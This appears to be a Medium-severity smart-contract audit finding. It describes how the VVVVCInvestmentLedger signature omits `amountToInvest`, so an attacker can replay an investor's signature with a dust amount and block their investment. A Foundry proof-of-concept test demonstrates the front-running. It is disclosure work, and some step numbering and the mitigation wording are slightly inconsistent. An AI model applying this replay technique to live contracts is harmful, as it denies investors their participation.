Scruffy Linen Badger

Medium

# Missing `amountToInvest` param in the EIP-712 signature of `VVVVCInvestmentLedger::INVESTMENT_TYPEHASH` allows for malicious users to grief DoS investors

### Summary

Currently, the `VVVVCInvestmentLedger` contract allows users to get an off-chain signature of the contract's `InvestParams`, and use it to transfer tokens to the ledger. However, the current implementation does not sign the `amountToInvest` parameter, which allows malicious users to front-run investors with dust amounts and DoS them from making their actual deposits. In a fast-paced eco-system of making investments per round, this can significantly impact trustworthy investors, as the `investmentRoundLimit` could quickly get filled, preventing them from taking an active part in the investment cycle.

### Root Cause

In [VVVVCInvestmentLedger::INVESTMENT_TYPEHASH](https://github.com/sherlock-audit/2024-11-vvv-exchange-update/blob/main/vvv-platform-smart-contracts/contracts/vc/VVVVCInvestmentLedger.sol#L22), the protocol hashes the `InvestParams` structure and uses it for signature comparison, however, it fails to sign the `amountToInvest` value, allowing for malicious actors to DoS trustworthy investors by front-running their `invest(...)` requests with their signature. Malicious users can provide dust amounts as the `amountToInvest`, which in turn can lead to [this](https://github.com/sherlock-audit/2024-11-vvv-exchange-update/blob/main/vvv-platform-smart-contracts/contracts/vc/VVVVCInvestmentLedger.sol#L176) check to fail, preventing the trustworthy user from properly investing.

### Internal pre-conditions

1. Alice and Bob (malicious investor) invest in the current investment round which has a 2210 USDC `investmentRoundLimit`.
2. A third user Charlie also invests in the protocol.
3. All users have 1000 USDC `kycAddressAllocation`.


### External pre-conditions

N/A

### Attack Path

1. Initially Bob and Alice invest 200 USDC.
2. Bob and Alice see that there are 800 USDC to fill the round, and they both have 800 USDC left to reach their limits.
4. Alice sends her transaction, however, Bob knows that he can front-run her and sends a transaction using Alice's signature, but with an amount of `1`.
5. In the same block Bob also sends another transaction for 800 USDC (using his signature), and Charlie steps up to also invest 1000 USDC.
6. Alice's transaction reverts as her `kycAddressAllocation` limit is reached due to her sending 800 USDC and Bob depositing `1` in her place.
8. Alice tries to send the transaction with a corrected amount trying to max out her limit, but it is again reverted due to the `investmentRoundLimit` being reached.

### Impact

1. Trustworthy investors could be griefed and suffer DoS leaving them unable to fully participate in investment rounds.
2. The protocol's integrity suffers as users are unable to use their platform as intended.

### PoC

For the sake of the test, I've set the fees to be 0 for easier calculations. Also, the provided PoC is set to prove that user investments could be influenced by other users. Add the following test to `VVVVCInvestmentLedgerFuzzTests.sol` and run with `forge test --mt testFrontRunning`.

```solidity
function testFrontRunning() public {
        address aliceKycAddress = address(1);
        address bobKycAddress = address(2);
        address charlieKycAddress = address(3);

        deal(address(PaymentTokenInstance), aliceKycAddress, 1000e6);
        deal(address(PaymentTokenInstance), bobKycAddress, 1001e6);
        deal(address(PaymentTokenInstance), charlieKycAddress, 1000e6);

        uint256 investmentRound = 1;
        uint256 investmentRoundLimit = 2210e6;
        uint256 investmentRoundStartTimestamp = block.timestamp;
        uint256 investmentRoundEndTimestamp = block.timestamp + 1 days;
        address paymentTokenAddress = address(PaymentTokenInstance);
        uint256 kycAddressAllocation = 1000e6;
        uint256 deadline = block.timestamp + 1 hours;
        feeNumerator = 0; // no fee for the sake of this test

        // Alice invests 200 USDC
        VVVVCInvestmentLedger.InvestParams memory aliceParams = VVVVCInvestmentLedger.InvestParams({
            investmentRound: investmentRound,
            investmentRoundLimit: investmentRoundLimit,
            investmentRoundStartTimestamp: investmentRoundStartTimestamp,
            investmentRoundEndTimestamp: investmentRoundEndTimestamp,
            paymentTokenAddress: paymentTokenAddress,
            kycAddress: aliceKycAddress,
            kycAddressAllocation: kycAddressAllocation,
            amountToInvest: 200e6,
            exchangeRateNumerator: exchangeRateNumerator,
            feeNumerator: feeNumerator,
            deadline: deadline,
            signature: bytes("placeholder")
        });

        aliceParams.signature = getEIP712SignatureForInvest(ledgerDomainSeparator, investmentTypehash, aliceParams);
        investAsUser(aliceKycAddress, aliceParams);

        // Bob invests 200 USDC
        VVVVCInvestmentLedger.InvestParams memory bobParams = VVVVCInvestmentLedger.InvestParams({
            investmentRound: investmentRound,
            investmentRoundLimit: investmentRoundLimit,
            investmentRoundStartTimestamp: investmentRoundStartTimestamp,
            investmentRoundEndTimestamp: investmentRoundEndTimestamp,
            paymentTokenAddress: paymentTokenAddress,
            kycAddress: bobKycAddress,
            kycAddressAllocation: kycAddressAllocation,
            amountToInvest: 200e6,
            exchangeRateNumerator: exchangeRateNumerator,
            feeNumerator: feeNumerator,
            deadline: deadline,
            signature: bytes("placeholder")
        });

        bobParams.signature = getEIP712SignatureForInvest(ledgerDomainSeparator, investmentTypehash, bobParams);
        investAsUser(bobKycAddress, bobParams);

        // Alice tries to use up her remaining 800 USDC, however Bob front runs her using her signature
        VVVVCInvestmentLedger.InvestParams memory bobParamsFrontRunning = VVVVCInvestmentLedger.InvestParams({
            investmentRound: investmentRound,
            investmentRoundLimit: investmentRoundLimit,
            investmentRoundStartTimestamp: investmentRoundStartTimestamp,
            investmentRoundEndTimestamp: investmentRoundEndTimestamp,
            paymentTokenAddress: paymentTokenAddress,
            kycAddress: aliceKycAddress,
            kycAddressAllocation: kycAddressAllocation,
            amountToInvest: 1,
            exchangeRateNumerator: exchangeRateNumerator,
            feeNumerator: feeNumerator,
            deadline: deadline,
            signature: bytes("placeholder")
        });
        bobParamsFrontRunning.signature = aliceParams.signature;
        investAsUser(bobKycAddress, bobParamsFrontRunning);

        // Alice's transaction reverts because she will need to send 800 - 1 to be able to invest due to the kyc limit
        aliceParams.amountToInvest = 800e6;
        vm.startPrank(aliceKycAddress);
        PaymentTokenInstance.approve(address(LedgerInstance), aliceParams.amountToInvest);
        vm.expectRevert(VVVVCInvestmentLedger.ExceedsAllocation.selector);
        LedgerInstance.invest(aliceParams);
        vm.stopPrank();

        // Bob now sends his own transaction with the proper amount
        bobParams.amountToInvest = 800e6;
        investAsUser(bobKycAddress, bobParams);

        // Charlie invests 1000 USDC
        VVVVCInvestmentLedger.InvestParams memory charlieParams = VVVVCInvestmentLedger.InvestParams({
            investmentRound: investmentRound,
            investmentRoundLimit: investmentRoundLimit,
            investmentRoundStartTimestamp: investmentRoundStartTimestamp,
            investmentRoundEndTimestamp: investmentRoundEndTimestamp,
            paymentTokenAddress: paymentTokenAddress,
            kycAddress: charlieKycAddress,
            kycAddressAllocation: kycAddressAllocation,
            amountToInvest: 1000e6,
            exchangeRateNumerator: exchangeRateNumerator,
            feeNumerator: feeNumerator,
            deadline: deadline,
            signature: bytes("placeholder")
        });

        charlieParams.signature = getEIP712SignatureForInvest(ledgerDomainSeparator, investmentTypehash, charlieParams);
        investAsUser(charlieKycAddress, charlieParams);

        // Alice sends a new transaction with the proper amount but gets reverted again, as the round limit is reached
        aliceParams.amountToInvest = 800e6 - 1;
        vm.startPrank(aliceKycAddress);
        PaymentTokenInstance.approve(address(LedgerInstance), aliceParams.amountToInvest);
        vm.expectRevert(VVVVCInvestmentLedger.ExceedsAllocation.selector);
        LedgerInstance.invest(aliceParams);
        vm.stopPrank();
    }
    
     // Alice could still invest as there are ~10 USDC left in the round, but that is way less than the 800 USDC she was originally trying to invest
 ```

### Mitigation

Add the `investParams` attribute to EIP-712 signature, which will not prevent front-running, but will make it expensive for attackers, as they will end up having to make the actual investment for the user.